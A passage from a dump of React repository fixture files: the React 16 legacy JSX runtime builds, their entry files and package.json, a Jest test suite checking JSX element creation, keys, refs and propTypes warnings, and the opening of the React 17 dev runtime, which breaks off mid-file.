Did you misspell the property assignment?', _name || 'Unknown');\n    }\n\n    if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {\n      error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');\n    }\n  }\n}\n/**\n * Given a fragment, validate that it can only be provided with fragment props\n * @param {ReactElement} fragment\n */\n\n\nfunction validateFragmentProps(fragment) {\n  {\n    var keys = Object.keys(fragment.props);\n\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n\n      if (key !== 'children' && key !== 'key') {\n        setCurrentlyValidatingElement$1(fragment);\n\n        error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);\n\n        setCurrentlyValidatingElement$1(null);\n        break;\n      }\n    }\n\n    if (fragment.ref !== null) {\n      setCurrentlyValidatingElement$1(fragment);\n\n      error('Invalid attribute `ref` supplied to `React.Fragment`.');\n\n      setCurrentlyValidatingElement$1(null);\n    }\n  }\n}\n\nfunction jsxWithValidation(type, props, key, isStaticChildren, source, self) {\n  {\n    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n\n    if (!validType) {\n      var info = '';\n\n      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {\n        info += ' You likely forgot to export your component from the file ' + \"it's defined in, or you might have mixed up default and named imports.\";\n      }\n\n      var sourceInfo = getSourceInfoErrorAddendum(source);\n\n      if (sourceInfo) {\n        info += sourceInfo;\n      } else {\n        info += getDeclarationErrorAddendum();\n      }\n\n      var typeString;\n\n      if (type === null) {\n        typeString = 'null';\n      } else if (Array.isArray(type)) {\n        typeString = 'array';\n      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {\n        typeString = \"<\" + (getComponentName(type.type) || 'Unknown') + \" />\";\n        info = ' Did you accidentally export a JSX literal instead of a component?';\n      } else {\n        typeString = typeof type;\n      }\n\n      error('React.jsx: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);\n    }\n\n    var element = jsxDEV(type, props, key, source, self); // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n\n    if (element == null) {\n      return element;\n    } // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n\n\n    if (validType) {\n      var children = props.children;\n\n      if (children !== undefined) {\n        if (isStaticChildren) {\n          if (Array.isArray(children)) {\n            for (var i = 0; i < children.length; i++) {\n              validateChildKeys(children[i], type);\n            }\n\n            if (Object.freeze) {\n              Object.freeze(children);\n            }\n          } else {\n            error('React.jsx: Static children should always be an array. ' + 'You are likely explicitly calling React.jsxs or React.jsxDEV. ' + 'Use the Babel transform instead.');\n          }\n        } else {\n          validateChildKeys(children, type);\n        }\n      }\n    }\n\n    if (type === exports.Fragment) {\n      validateFragmentProps(element);\n    } else {\n      validatePropTypes(element);\n    }\n\n    return element;\n  }\n} // These two functions exist to still get child warnings in dev\n// even with the prod transform. This means that jsxDEV is purely\n// opt-in behavior for better messages but that we won't stop\n// giving you warnings if you use production apis.\n\nfunction jsxWithValidationStatic(type, props, key) {\n  {\n    return jsxWithValidation(type, props, key, true);\n  }\n}\nfunction jsxWithValidationDynamic(type, props, key) {\n  {\n    return jsxWithValidation(type, props, key, false);\n  }\n}\n\nvar jsx =  jsxWithValidationDynamic ; // we may want to special case jsxs internally to take advantage of static children.\n// for now we can ship identical prod functions\n\nvar jsxs =  jsxWithValidationStatic ;\n\nexports.jsx = jsx;\nexports.jsxs = jsxs;\n  })();\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-16/jsx-dev-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-dev-runtime.production.min.js');\n} else {\n  module.exports = require('./cjs/react-jsx-dev-runtime.development.js');\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-16/jsx-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-runtime.production.min.js');\n} else {\n  module.exports = require('./cjs/react-jsx-runtime.development.js');\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-16/package.json",
    "content": "{\n  \"dependencies\": {\n    \"prop-types\": \"^15.7.2\",\n    \"react\": \"16\",\n    \"react-dom\": \"16\"\n  }\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-16/react-16.test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n// These tests are based on ReactJSXElement-test,\n// ReactJSXElementValidator-test, ReactComponent-test,\n// and ReactElementJSX-test.\n\njest.mock('react/jsx-runtime', () => require('./jsx-runtime'), {virtual: true});\njest.mock('react/jsx-dev-runtime', () => require('./jsx-dev-runtime'), {\n  virtual: true,\n});\n\nlet React = require('react');\nlet ReactDOM = require('react-dom');\nlet ReactTestUtils = {\n  renderIntoDocument(el) {\n    const container = document.createElement('div');\n    return ReactDOM.render(el, container);\n  },\n};\nlet PropTypes = require('prop-types');\nlet Component = class Component extends React.Component {\n  render() {\n    return <div />;\n  }\n};\nlet RequiredPropComponent = class extends React.Component {\n  render() {\n    return <span>{this.props.prop}</span>;\n  }\n};\nRequiredPropComponent.displayName = 'RequiredPropComponent';\nRequiredPropComponent.propTypes = {prop: PropTypes.string.isRequired};\n\nit('works', () => {\n  const container = document.createElement('div');\n  ReactDOM.render(<h1>hello</h1>, container);\n  expect(container.textContent).toBe('hello');\n});\n\nit('returns a complete element according to spec', () => {\n  const element = <Component />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('allows a lower-case to be passed as the string type', () => {\n  const element = <div />;\n  expect(element.type).toBe('div');\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('allows a string to be passed as the type', () => {\n  const TagName = 'div';\n  const element = <TagName />;\n  expect(element.type).toBe('div');\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('returns an immutable element', () => {\n  const element = <Component />;\n  if (process.env.NODE_ENV === 'development') {\n    expect(() => (element.type = 'div')).toThrow();\n  } else {\n    expect(() => (element.type = 'div')).not.toThrow();\n  }\n});\n\nit('does not reuse the object that is spread into props', () => {\n  const config = {foo: 1};\n  const element = <Component {...config} />;\n  expect(element.props.foo).toBe(1);\n  config.foo = 2;\n  expect(element.props.foo).toBe(1);\n});\n\nit('extracts key and ref from the rest of the props', () => {\n  const element = <Component key=\"12\" ref=\"34\" foo=\"56\" />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe('12');\n  expect(element.ref).toBe('34');\n  const expectation = {foo: '56'};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('coerces the key to a string', () => {\n  const element = <Component key={12} foo=\"56\" />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe('12');\n  expect(element.ref).toBe(null);\n  const expectation = {foo: '56'};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('merges JSX children onto the children prop', () => {\n  const a = 1;\n  const element = <Component children=\"text\">{a}</Component>;\n  expect(element.props.children).toBe(a);\n});\n\nit('does not override children if no JSX children are provided', () => {\n  const element = <Component children=\"text\" />;\n  expect(element.props.children).toBe('text');\n});\n\nit('overrides children if null is provided as a JSX child', () => {\n  const element = <Component children=\"text\">{null}</Component>;\n  expect(element.props.children).toBe(null);\n});\n\nit('overrides children if undefined is provided as an argument', () => {\n  const element = <Component children=\"text\">{undefined}</Component>;\n  expect(element.props.children).toBe(undefined);\n\n  const element2 = React.cloneElement(\n    <Component children=\"text\" />,\n    {},\n    undefined\n  );\n  expect(element2.props.children).toBe(undefined);\n});\n\nit('merges JSX children onto the children prop in an array', () => {\n  const a = 1;\n  const b = 2;\n  const c = 3;\n  const element = (\n    <Component>\n      {a}\n      {b}\n      {c}\n    </Component>\n  );\n  expect(element.props.children).toEqual([1, 2, 3]);\n});\n\nit('allows static methods to be called using the type property', () => {\n  class StaticMethodComponent {\n    static someStaticMethod() {\n      return 'someReturnValue';\n    }\n    render() {\n      return <div />;\n    }\n  }\n\n  const element = <StaticMethodComponent />;\n  expect(element.type.someStaticMethod()).toBe('someReturnValue');\n});\n\nit('identifies valid elements', () => {\n  expect(React.isValidElement(<div />)).toEqual(true);\n  expect(React.isValidElement(<Component />)).toEqual(true);\n\n  expect(React.isValidElement(null)).toEqual(false);\n  expect(React.isValidElement(true)).toEqual(false);\n  expect(React.isValidElement({})).toEqual(false);\n  expect(React.isValidElement('string')).toEqual(false);\n  expect(React.isValidElement(Component)).toEqual(false);\n  expect(React.isValidElement({type: 'div', props: {}})).toEqual(false);\n});\n\nit('is indistinguishable from a plain object', () => {\n  const element = <div className=\"foo\" />;\n  const object = {};\n  expect(element.constructor).toBe(object.constructor);\n});\n\nit('should use default prop value when removing a prop', () => {\n  Component.defaultProps = {fruit: 'persimmon'};\n\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<Component fruit=\"mango\" />, container);\n  expect(instance.props.fruit).toBe('mango');\n\n  ReactDOM.render(<Component />, container);\n  expect(instance.props.fruit).toBe('persimmon');\n});\n\nit('should normalize props with default values', () => {\n  class NormalizingComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NormalizingComponent.defaultProps = {prop: 'testKey'};\n\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<NormalizingComponent />, container);\n  expect(instance.props.prop).toBe('testKey');\n\n  const inst2 = ReactDOM.render(\n    <NormalizingComponent prop={null} />,\n    container\n  );\n  expect(inst2.props.prop).toBe(null);\n});\n\nit('warns for keys for arrays of elements in children position', () => {\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <Component>{[<Component />, <Component />]}</Component>\n    )\n  ).toErrorDev('Each child in a list should have a unique \"key\" prop.');\n});\n\nit('warns for keys for arrays of elements with owner info', () => {\n  class InnerComponent extends React.Component {\n    render() {\n      return <Component>{this.props.childSet}</Component>;\n    }\n  }\n\n  class ComponentWrapper extends React.Component {\n    render() {\n      return <InnerComponent childSet={[<Component />, <Component />]} />;\n    }\n  }\n\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<ComponentWrapper />)\n  ).toErrorDev(\n    'Each child in a list should have a unique \"key\" prop.' +\n      '\\n\\nCheck the render method of `InnerComponent`. ' +\n      'It was passed a child from ComponentWrapper. '\n  );\n});\n\nit('does not warn for arrays of elements with keys', () => {\n  ReactTestUtils.renderIntoDocument(\n    <Component>{[<Component key=\"#1\" />, <Component key=\"#2\" />]}</Component>\n  );\n});\n\nit('does not warn for iterable elements with keys', () => {\n  const iterable = {\n    '@@iterator': function () {\n      let i = 0;\n      return {\n        next: function () {\n          const done = ++i > 2;\n          return {\n            value: done ? undefined : <Component key={'#' + i} />,\n            done: done,\n          };\n        },\n      };\n    },\n  };\n\n  ReactTestUtils.renderIntoDocument(<Component>{iterable}</Component>);\n});\n\nit('does not warn for numeric keys in entry iterable as a child', () => {\n  const iterable = {\n    '@@iterator': function () {\n      let i = 0;\n      return {\n        next: function () {\n          const done = ++i > 2;\n          return {value: done ? undefined : [i, <Component />], done: done};\n        },\n      };\n    },\n  };\n  iterable.entries = iterable['@@iterator'];\n\n  ReactTestUtils.renderIntoDocument(<Component>{iterable}</Component>);\n});\n\nit('does not warn when the element is directly as children', () => {\n  ReactTestUtils.renderIntoDocument(\n    <Component>\n      <Component />\n      <Component />\n    </Component>\n  );\n});\n\nit('does not warn when the child array contains non-elements', () => {\n  void (<Component>{[{}, {}]}</Component>);\n});\n\nit('should give context for PropType errors in nested components.', () => {\n  // In this test, we're making sure that if a proptype error is found in a\n  // component, we give a small hint as to which parent instantiated that\n  // component as per warnings about key usage in ReactElementValidator.\n  function MyComp({color}) {\n    return <div>My color is {color}</div>;\n  }\n  MyComp.propTypes = {\n    color: PropTypes.string,\n  };\n  class ParentComp extends React.Component {\n    render() {\n      return <MyComp color={123} />;\n    }\n  }\n  expect(() => ReactTestUtils.renderIntoDocument(<ParentComp />)).toErrorDev(\n    'Warning: Failed prop type: ' +\n      'Invalid prop `color` of type `number` supplied to `MyComp`, ' +\n      'expected `string`.\\n' +\n      '    in MyComp (at **)\\n' +\n      '    in ParentComp (at **)'\n  );\n});\n\nit('gives a helpful error when passing null, undefined, or boolean', () => {\n  const Undefined = undefined;\n  const Null = null;\n  const True = true;\n  const Div = 'div';\n  expect(() => void (<Undefined />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: undefined. You likely forgot to export your ' +\n      \"component from the file it's defined in, or you might have mixed up \" +\n      'default and named imports.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  expect(() => void (<Null />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: null.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  expect(() => void (<True />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: boolean.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  // No error expected\n  void (<Div />);\n});\n\nit('should check default prop values', () => {\n  RequiredPropComponent.defaultProps = {prop: null};\n\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<RequiredPropComponent />)\n  ).toErrorDev(\n    'Warning: Failed prop type: The prop `prop` is marked as required in ' +\n      '`RequiredPropComponent`, but its value is `null`.\\n' +\n      '    in RequiredPropComponent (at **)'\n  );\n});\n\nit('should warn on invalid prop types', () => {\n  // Since there is no prevalidation step for ES6 classes, there is no hook\n  // for us to issue a warning earlier than element creation when the error\n  // actually occurs. Since this step is skipped in production, we should just\n  // warn instead of throwing for this case.\n  class NullPropTypeComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NullPropTypeComponent.propTypes = {\n    prop: null,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<NullPropTypeComponent />)\n  ).toErrorDev(\n    'NullPropTypeComponent: prop type `prop` is invalid; it must be a ' +\n      'function, usually from the `prop-types` package,'\n  );\n});\n\nit('should warn on invalid context types', () => {\n  class NullContextTypeComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NullContextTypeComponent.contextTypes = {\n    prop: null,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<NullContextTypeComponent />)\n  ).toErrorDev(\n    'NullContextTypeComponent: context type `prop` is invalid; it must ' +\n      'be a function, usually from the `prop-types` package,'\n  );\n});\n\nit('should warn if getDefaultProps is specified on the class', () => {\n  class GetDefaultPropsComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  GetDefaultPropsComponent.getDefaultProps = () => ({\n    prop: 'foo',\n  });\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<GetDefaultPropsComponent />)\n  ).toErrorDev(\n    'getDefaultProps is only used on classic React.createClass definitions.' +\n      ' Use a static property named `defaultProps` instead.',\n    {withoutStack: true}\n  );\n});\n\nit('should warn if component declares PropTypes instead of propTypes', () => {\n  class MisspelledPropTypesComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  MisspelledPropTypesComponent.PropTypes = {\n    prop: PropTypes.string,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <MisspelledPropTypesComponent prop=\"hi\" />\n    )\n  ).toErrorDev(\n    'Warning: Component MisspelledPropTypesComponent declared `PropTypes` ' +\n      'instead of `propTypes`. Did you misspell the property assignment?',\n    {withoutStack: true}\n  );\n});\n\nit('warns for fragments with illegal attributes', () => {\n  class Foo extends React.Component {\n    render() {\n      return <React.Fragment a={1}>hello</React.Fragment>;\n    }\n  }\n\n  expect(() => ReactTestUtils.renderIntoDocument(<Foo />)).toErrorDev(\n    'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +\n      'can only have `key` and `children` props.'\n  );\n});\n\nit('warns for fragments with refs', () => {\n  class Foo extends React.Component {\n    render() {\n      return (\n        <React.Fragment\n          ref={bar => {\n            this.foo = bar;\n          }}>\n          hello\n        </React.Fragment>\n      );\n    }\n  }\n\n  expect(() => ReactTestUtils.renderIntoDocument(<Foo />)).toErrorDev(\n    'Invalid attribute `ref` supplied to `React.Fragment`.'\n  );\n});\n\nit('does not warn for fragments of multiple elements without keys', () => {\n  ReactTestUtils.renderIntoDocument(\n    <>\n      <span>1</span>\n      <span>2</span>\n    </>\n  );\n});\n\nit('warns for fragments of multiple elements with same key', () => {\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <>\n        <span key=\"a\">1</span>\n        <span key=\"a\">2</span>\n        <span key=\"b\">3</span>\n      </>\n    )\n  ).toErrorDev('Encountered two children with the same key, `a`.', {\n    withoutStack: true,\n  });\n});\n\nit('does not call lazy initializers eagerly', () => {\n  let didCall = false;\n  const Lazy = React.lazy(() => {\n    didCall = true;\n    return {then() {}};\n  });\n  <Lazy />;\n  expect(didCall).toBe(false);\n});\n\nit('supports classic refs', () => {\n  class Foo extends React.Component {\n    render() {\n      return <div className=\"foo\" ref=\"inner\" />;\n    }\n  }\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<Foo />, container);\n  expect(instance.refs.inner.className).toBe('foo');\n});\n\nit('should support refs on owned components', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  class Component extends React.Component {\n    render() {\n      const inner = <Wrapper object={innerObj} ref=\"inner\" />;\n      const outer = (\n        <Wrapper object={outerObj} ref=\"outer\">\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.refs.inner.getObject()).toEqual(innerObj);\n      expect(this.refs.outer.getObject()).toEqual(outerObj);\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n});\n\nit('should support callback-style refs', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    render() {\n      const inner = (\n        <Wrapper object={innerObj} ref={c => (this.innerRef = c)} />\n      );\n      const outer = (\n        <Wrapper object={outerObj} ref={c => (this.outerRef = c)}>\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.innerRef.getObject()).toEqual(innerObj);\n      expect(this.outerRef.getObject()).toEqual(outerObj);\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should support object-style refs', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    constructor() {\n      super();\n      this.innerRef = React.createRef();\n      this.outerRef = React.createRef();\n    }\n    render() {\n      const inner = <Wrapper object={innerObj} ref={this.innerRef} />;\n      const outer = (\n        <Wrapper object={outerObj} ref={this.outerRef}>\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.innerRef.current.getObject()).toEqual(innerObj);\n      expect(this.outerRef.current.getObject()).toEqual(outerObj);\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should support new-style refs with mixed-up owners', () => {\n  class Wrapper extends React.Component {\n    getTitle = () => {\n      return this.props.title;\n    };\n\n    render() {\n      return this.props.getContent();\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    getInner = () => {\n      // (With old-style refs, it's impossible to get a ref to this div\n      // because Wrapper is the current owner when this function is called.)\n      return <div className=\"inner\" ref={c => (this.innerRef = c)} />;\n    };\n\n    render() {\n      return (\n        <Wrapper\n          title=\"wrapper\"\n          ref={c => (this.wrapperRef = c)}\n          getContent={this.getInner}\n        />\n      );\n    }\n\n    componentDidMount() {\n      // Check .props.title to make sure we got the right elements back\n      expect(this.wrapperRef.getTitle()).toBe('wrapper');\n      expect(this.innerRef.className).toBe('inner');\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should warn when `key` is being accessed on composite element', () => {\n  const container = document.createElement('div');\n  class Child extends React.Component {\n    render() {\n      return <div> {this.props.key} </div>;\n    }\n  }\n  class Parent extends React.Component {\n    render() {\n      return (\n        <div>\n          <Child key=\"0\" />\n          <Child key=\"1\" />\n          <Child key=\"2\" />\n        </div>\n      );\n    }\n  }\n  expect(() => ReactDOM.render(<Parent />, container)).toErrorDev(\n    'Child: `key` is not a prop. Trying to access it will result ' +\n      'in `undefined` being returned. If you need to access the same ' +\n      'value within the child component, you should pass it as a different ' +\n      'prop. (https://reactjs.org/link/special-props)'\n  );\n});\n\nit('should warn when `ref` is being accessed', () => {\n  const container = document.createElement('div');\n  class Child extends React.Component {\n    render() {\n      return <div> {this.props.ref} </div>;\n    }\n  }\n  class Parent extends React.Component {\n    render() {\n      return (\n        <div>\n          <Child ref=\"childElement\" />\n        </div>\n      );\n    }\n  }\n  expect(() => ReactDOM.render(<Parent />, container)).toErrorDev(\n    'Child: `ref` is not a prop. Trying to access it will result ' +\n      'in `undefined` being returned. If you need to access the same ' +\n      'value within the child component, you should pass it as a different ' +\n      'prop. (https://reactjs.org/link/special-props)'\n  );\n});\n\nit('should warn when owner and self are different for string refs', () => {\n  class ClassWithRenderProp extends React.Component {\n    render() {\n      return this.props.children();\n    }\n  }\n\n  class ClassParent extends React.Component {\n    render() {\n      return (\n        <ClassWithRenderProp>{() => <div ref=\"myRef\" />}</ClassWithRenderProp>\n      );\n    }\n  }\n\n  const container = document.createElement('div');\n  if (process.env.BABEL_ENV === 'development') {\n    expect(() => ReactDOM.render(<ClassParent />, container)).toErrorDev([\n      'Warning: Component \"ClassWithRenderProp\" contains the string ref \"myRef\". ' +\n        'Support for string refs will be removed in a future major release. ' +\n        'This case cannot be automatically converted to an arrow function. ' +\n        'We ask you to manually fix this case by using useRef() or createRef() instead. ' +\n        'Learn more about using refs safely here: ' +\n        'https://reactjs.org/link/strict-mode-string-ref',\n    ]);\n  } else {\n    ReactDOM.render(<ClassParent />, container);\n  }\n});\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-17/cjs/react-jsx-dev-runtime.development.js",
    "content": "/** @license React v17.0.0-rc.3\n * react-jsx-dev-runtime.development.js\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n'use strict';\n\nvar React = require('react');\nvar _assign = require('object-assign');\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = 0xeac7;\nvar REACT_PORTAL_TYPE = 0xeaca;\nexports.Fragment = 0xeacb;\nvar REACT_STRICT_MODE_TYPE = 0xeacc;\nvar REACT_PROFILER_TYPE = 0xead2;\nvar REACT_PROVIDER_TYPE = 0xeacd;\nvar REACT_CONTEXT_TYPE = 0xeace;\nvar REACT_FORWARD_REF_TYPE = 0xead0;\nvar REACT_SUSPENSE_TYPE = 0xead1;\nvar REACT_SUSPENSE_LIST_TYPE = 0xead8;\nvar REACT_MEMO_TYPE = 0xead3;\nvar REACT_LAZY_TYPE = 0xead4;\nvar REACT_BLOCK_TYPE = 0xead9;\nvar REACT_SERVER_BLOCK_TYPE = 0xeada;\nvar REACT_FUNDAMENTAL_TYPE = 0xead5;\nvar REACT_SCOPE_TYPE = 0xead7;\nvar REACT_OPAQUE_ID_TYPE = 0xeae0;\nvar REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;\nvar REACT_OFFSCREEN_TYPE = 0xeae2;\nvar REACT_LEGACY_HIDDEN_TYPE = 0xeae3;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  var symbolFor = Symbol.for;\n  REACT_ELEMENT_TYPE = symbolFor('react.element');\n  REACT_PORTAL_TYPE = symbolFor('react.portal');\n  exports.Fragment = symbolFor('react.fragment');\n  REACT_STRICT_MODE_TYPE = symbolFor('react.strict_mode');\n  REACT_PROFILER_TYPE = symbolFor('react.profiler');\n  REACT_PROVIDER_TYPE = symbolFor('react.provider');\n  REACT_CONTEXT_TYPE = symbolFor('react.context');\n  REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');\n  REACT_SUSPENSE_TYPE = symbolFor('react.suspense');\n  REACT_SUSPENSE_LIST_TYPE = symbolFor('react.suspense_list');\n  REACT_MEMO_TYPE = symbolFor('react.memo');\n  REACT_LAZY_TYPE = symbolFor('react.lazy');\n  REACT_BLOCK_TYPE = symbolFor('react.block');\n  REACT_SERVER_BLOCK_TYPE = symbolFor('react.server.block');\n  REACT_FUNDAMENTAL_TYPE = symbolFor('react.fundamental');\n  REACT_SCOPE_TYPE = symbolFor('react.scope');\n  REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');\n  REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');\n  REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');\n  REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');\n}\n\nvar MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nvar ReactSharedInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n\nfunction error(format) {\n  {\n    for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n      args[_key2 - 1] = arguments[_key2];\n    }\n\n    printWarning('error', format, args);\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\n    var stack = ReactDebugCurrentFrame.getStackAddendum();\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    }\n\n    var argsWithFormat = args.map(function (item) {\n      return '' + item;\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === exports.Fragment || type === REACT_PROFILER_TYPE || type === REACT_DEBUG_TRACING_MODE_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || type === REACT_LEGACY_HIDDEN_TYPE || enableScopeAPI ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_BLOCK_TYPE || type[0] === REACT_SERVER_BLOCK_TYPE) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var functionName = innerType.displayName || innerType.name || '';\n  return outerType.displayName || (functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : 